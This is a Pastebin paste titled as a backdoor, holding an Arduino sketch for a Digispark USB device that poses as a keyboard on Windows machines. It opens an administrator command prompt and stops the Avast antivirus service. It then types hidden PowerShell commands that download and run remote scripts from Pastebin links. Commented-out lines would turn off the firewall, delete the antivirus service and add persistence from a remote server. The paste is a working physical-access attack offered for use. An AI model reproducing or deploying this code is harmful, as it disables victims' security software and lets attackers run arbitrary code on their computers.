Advertisement
Alonnso_888

Backdoor Digispark Avast-Disable

Jan 19th, 2019
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.40 KB | None | 0 0
  1. #include "DigiKeyboard.h"
  2. #define KEY_LEFT_ARROW 0x50
  3.  
  4. void setup() {
  5. // don't need to set anything up to use DigiKeyboard
  6. }
  7.  
  8.  
  9. void loop() {
  10.  
  11. // this is generally not necessary but with some older systems it seems to
  12. // prevent missing the first character after a delay:
  13. DigiKeyboard.sendKeyStroke(0);
  14.  
  15. DigiKeyboard.delay(500);
  16. // abre o menu iniciar do widnows
  17. DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  18.  
  19. DigiKeyboard.delay(500);
  20. DigiKeyboard.print("cmd"); // digita no campo de pesquisa
  21. DigiKeyboard.delay(1000);
  22. DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
  23. DigiKeyboard.delay(500);
  24. DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
  25. DigiKeyboard.delay(500);
  26. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  27. DigiKeyboard.delay(1000);
  28. /*DigiKeyboard.println("netsh advfirewall set allprofiles state off");
  29. DigiKeyboard.delay(500);
  30. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  31. DigiKeyboard.delay(500);*/
  32. //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/5wC1jFpD)");
  33. //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/G8rfEhr5)");
  34. // DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/w4Ffy18B)");
  35. DigiKeyboard.println("net stop \"avast! Antivirus\"");
  36. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  37. DigiKeyboard.delay(1000);
  38. DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
  39. DigiKeyboard.delay(500);
  40. DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
  41. DigiKeyboard.delay(500);
  42. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  43. DigiKeyboard.delay(15000);
  44. /*DigiKeyboard.println('Sc delete "avast! Antivirus"');
  45. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  46. DigiKeyboard.delay(500);*/
  47. //---------------------------------
  48.  
  49. // this is generally not necessary but with some older systems it seems to
  50. // prevent missing the first character after a delay:
  51. DigiKeyboard.sendKeyStroke(0);
  52.  
  53. DigiKeyboard.delay(500);
  54. // abre o menu iniciar do widnows
  55. DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  56.  
  57. DigiKeyboard.delay(500);
  58. DigiKeyboard.print("cmd"); // digita no campo de pesquisa
  59. DigiKeyboard.delay(1000);
  60.  
  61. DigiKeyboard.sendKeyStroke(KEY_ENTER); // abre o prompt de comando
  62. DigiKeyboard.delay(500);
  63. // Type out this string letter by letter on the computer (assumes US-style
  64. // keyboard)
  65. DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/f3BcdKbW)");
  66. DigiKeyboard.delay(500);
  67. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  68. // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  69. // if doing keyboard stuff because it keeps talking to the computer to make
  70. // sure the computer knows the keyboard is alive and connected
  71. DigiKeyboard.delay(500);
  72.  
  73. //-----------------------------------
  74.  
  75. // this is generally not necessary but with some older systems it seems to
  76. // prevent missing the first character after a delay:
  77. DigiKeyboard.sendKeyStroke(0);
  78.  
  79. DigiKeyboard.delay(500);
  80. // abre o menu iniciar do widnows
  81. DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  82.  
  83. DigiKeyboard.delay(500);
  84. DigiKeyboard.print("cmd"); // digita no campo de pesquisa
  85. DigiKeyboard.delay(1000);
  86.  
  87. DigiKeyboard.sendKeyStroke(KEY_ENTER); // abre o prompt de comandos
  88. DigiKeyboard.delay(500);
  89. // Type out this string letter by letter on the computer (assumes US-style
  90. // keyboard)
  91. //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/FRXdq3B0)");
  92. //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/TbZUchXG)");
  93. //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/yAXjLcpD)");
  94. DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/V0y7vRjk)");
  95. //DigiKeyboard.println("powershell.exe -exec bypass -Command 'iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Shellntel/scripts/master/powershell-persist.ps1'); Add-Persistence http://WEBSERVER/powershell_attack.txt;'");
  96. DigiKeyboard.delay(500);
  97. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  98. // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  99. // if doing keyboard stuff because it keeps talking to the computer to make
  100. // sure the computer knows the keyboard is alive and connected
  101. DigiKeyboard.delay(5000);
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement